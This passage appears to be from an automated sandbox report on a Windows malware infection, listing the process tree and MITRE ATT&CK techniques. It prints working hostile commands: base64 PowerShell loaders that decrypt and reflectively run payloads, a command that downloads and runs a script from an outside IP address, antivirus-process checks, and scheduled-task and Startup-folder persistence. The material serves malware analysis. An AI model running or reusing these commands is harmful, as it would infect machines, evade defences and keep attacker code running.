XJuX3Zhcjt9ZnVuY3Rpb24gb3Vhb24oJHBhcmFtX3Zhcil7CSRmZGJ2dT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdHpmZG89TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkaW5haXI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkZmRidnUsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGluYWlyLkNvcHlUbygkdHpmZG8pOwkkaW5haXIuRGlzcG9zZSgpOwkkZmRidnUuRGlzcG9zZSgpOwkkdHpmZG8uRGlzcG9zZSgpOwkkdHpmZG8uVG9BcnJheSgpO31mdW5jdGlvbiBudmNjdCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHJub2p3PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHd3bnNsPSRybm9qdy5FbnRyeVBvaW50Owkkd3duc2wuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGZmdG56OyRhaGJveD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGZmdG56KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkYmhrIGluICRhaGJveCkgewlpZiAoJGJoay5TdGFydHNXaXRoKCc6OiAnKSkJewkJJG9nY3lrPSRiaGsuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGdvYmp1PVtzdHJpbmdbXV0kb2djeWsuU3BsaXQoJ1wnKTskcnprbnk9b3Vhb24gKHR6emtqIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGdvYmp1WzBdKSkpOyRraHhteD1vdWFvbiAodHp6a2ogKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZ29ianVbMV0pKSk7bnZjY3QgJHJ6a255ICRudWxsO252Y2N0ICRraHhteCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\10119590141\ogfNbjS.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2916
  - - C:\Users\Admin\AppData\Local\Temp\10119880101\6sbmSAg.exe
      "C:\Users\Admin\AppData\Local\Temp\10119880101\6sbmSAg.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3628
    - - C:\Users\Admin\AppData\Local\Temp\10119880101\6sbmSAg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10119880101\6sbmSAg.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2992
  - - C:\Users\Admin\AppData\Local\Temp\10121660101\amnew.exe
      "C:\Users\Admin\AppData\Local\Temp\10121660101\amnew.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      PID:2036
    - - C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        5⤵
        Executes dropped EXE
        
        PID:1448
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\10122100141\ogfNbjS.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2008
  - - C:\Users\Admin\AppData\Local\Temp\10122110101\zY9sqWs.exe
      "C:\Users\Admin\AppData\Local\Temp\10122110101\zY9sqWs.exe"
      4⤵
      PID:1132
  - - C:\Users\Admin\AppData\Local\Temp\10122120101\pwHxMTy.exe
      "C:\Users\Admin\AppData\Local\Temp\10122120101\pwHxMTy.exe"
      4⤵
      PID:3124
  - - C:\Users\Admin\AppData\Local\Temp\10122130101\MCxU5Fj.exe
      "C:\Users\Admin\AppData\Local\Temp\10122130101\MCxU5Fj.exe"
      4⤵
      PID:1976
    - - C:\Users\Admin\AppData\Local\Temp\10122130101\MCxU5Fj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10122130101\MCxU5Fj.exe"
        5⤵
        
        PID:2224
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 1044
        6⤵
        Program crash
        
        PID:2528
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 504
        5⤵
        Program crash
        
        PID:3052
  - - C:\Users\Admin\AppData\Local\Temp\10122170101\ADFoyxP.exe
      "C:\Users\Admin\AppData\Local\Temp\10122170101\ADFoyxP.exe"
      4⤵
      PID:552
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c expand Go.pub Go.pub.bat & Go.pub.bat
        5⤵
        
        PID:3372
      - C:\Windows\SysWOW64\expand.exe
        
        expand Go.pub Go.pub.bat
        6⤵
        
        PID:3428
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3444
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        6⤵
        
        PID:3452
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2580
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr "bdservicehost AvastUI AVGUI nsWscSvc ekrn SophosHealth"
        6⤵
        
        PID:3976
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 353090
        6⤵
        
        PID:236
      - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Really.pub
        6⤵
        
        PID:2008
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 353090\Seat.com + Pf + Somewhere + Volumes + Commission + Lane + Hit + Strong + Copied + Wearing + Acquire 353090\Seat.com
        6⤵
        
        PID:2136
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Maintains.pub + ..\Legislation.pub + ..\Blood.pub + ..\Document.pub + ..\Breaks.pub + ..\Both.pub + ..\Explicitly.pub + ..\Governor.pub + ..\Bull.pub + ..\Comparison.pub + ..\Performing.pub + ..\Gate.pub + ..\Republican.pub + ..\Reverse.pub + ..\Thousand.pub + ..\Apartments.pub + ..\Swingers.pub + ..\Urban.pub + ..\Robert.pub + ..\Regulation.pub + ..\Confusion.pub + ..\Listening.pub + ..\Generating.pub + ..\Argentina.pub + ..\Amenities.pub + ..\Vacation.pub + ..\Vampire.pub + ..\Trademarks.pub + ..\Distinguished.pub + ..\Silly.pub + ..\Hell.pub + ..\Worcester.pub + ..\Concept.pub + ..\Enlarge.pub + ..\Preference.pub + ..\Poem.pub m
        6⤵
        
        PID:1664
      - C:\Users\Admin\AppData\Local\Temp\353090\Seat.com
        
        Seat.com m
        6⤵
        
        PID:2920
      - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        6⤵
        
        PID:2436
  - - C:\Users\Admin\AppData\Local\Temp\10122180101\9hUDDVk.exe
      "C:\Users\Admin\AppData\Local\Temp\10122180101\9hUDDVk.exe"
      4⤵
      PID:3556
  - - C:\Users\Admin\AppData\Local\Temp\10122190101\FvbuInU.exe
      "C:\Users\Admin\AppData\Local\Temp\10122190101\FvbuInU.exe"
      4⤵
      PID:3740
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3740 -s 1220
        5⤵
        Program crash
        
        PID:2232
  - - C:\Users\Admin\AppData\Local\Temp\10122380101\6sbmSAg.exe
      "C:\Users\Admin\AppData\Local\Temp\10122380101\6sbmSAg.exe"
      4⤵
      PID:1452
    - - C:\Users\Admin\AppData\Local\Temp\10122380101\6sbmSAg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10122380101\6sbmSAg.exe"
        5⤵
        
        PID:4036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10122391121\1b3yDoR.cmd"
      4⤵
      PID:644
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10122391121\1b3yDoR.cmd"
        5⤵
        
        PID:1900
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZmZ0bnogPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGZmdG56KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRmZnRueiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRmZnRueiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZmZ0bnoiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gdHp6a2ooJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ25ZaHg4TTNkRGdlZXV5R0w4TmpHdUhVaSszUzJid1oxamJNVXB2SkVJRUk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2diNktFYTlLWEVoNHl3dDZYNURoK3c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gb3Vhb24oJHBhcmFtX3Zhcil7CSRmZGJ2dT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdHpmZG89TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkaW5haXI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkZmRidnUsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGluYWlyLkNvcHlUbygkdHpmZG8pOwkkaW5haXIuRGlzcG9zZSgpOwkkZmRidnUuRGlzcG9zZSgpOwkkdHpmZG8uRGlzcG9zZSgpOwkkdHpmZG8uVG9BcnJheSgpO31mdW5jdGlvbiBudmNjdCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHJub2p3PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHd3bnNsPSRybm9qdy5FbnRyeVBvaW50Owkkd3duc2wuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGZmdG56OyRhaGJveD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGZmdG56KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkYmhrIGluICRhaGJveCkgewlpZiAoJGJoay5TdGFydHNXaXRoKCc6OiAnKSkJewkJJG9nY3lrPSRiaGsuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGdvYmp1PVtzdHJpbmdbXV0kb2djeWsuU3BsaXQoJ1wnKTskcnprbnk9b3Vhb24gKHR6emtqIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGdvYmp1WzBdKSkpOyRraHhteD1vdWFvbiAodHp6a2ogKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZ29ianVbMV0pKSk7bnZjY3QgJHJ6a255ICRudWxsO252Y2N0ICRraHhteCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2628
  - - C:\Users\Admin\AppData\Local\Temp\10122400101\jdehFMM.exe
      "C:\Users\Admin\AppData\Local\Temp\10122400101\jdehFMM.exe"
      4⤵
      PID:1060
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CAE.tmp\CAF.tmp\CB0.bat C:\Users\Admin\AppData\Local\Temp\10122400101\jdehFMM.exe"
        5⤵
        
        PID:2040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks.exe /create /tn "Coast" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TradeSecure Innovations\TradeHub.js'" /sc minute /mo 5 /F
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /create /tn "Coast" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TradeSecure Innovations\TradeHub.js'" /sc minute /mo 5 /F
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2784
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeHub.url" & echo URL="C:\Users\Admin\AppData\Local\TradeSecure Innovations\TradeHub.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeHub.url" & exit
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion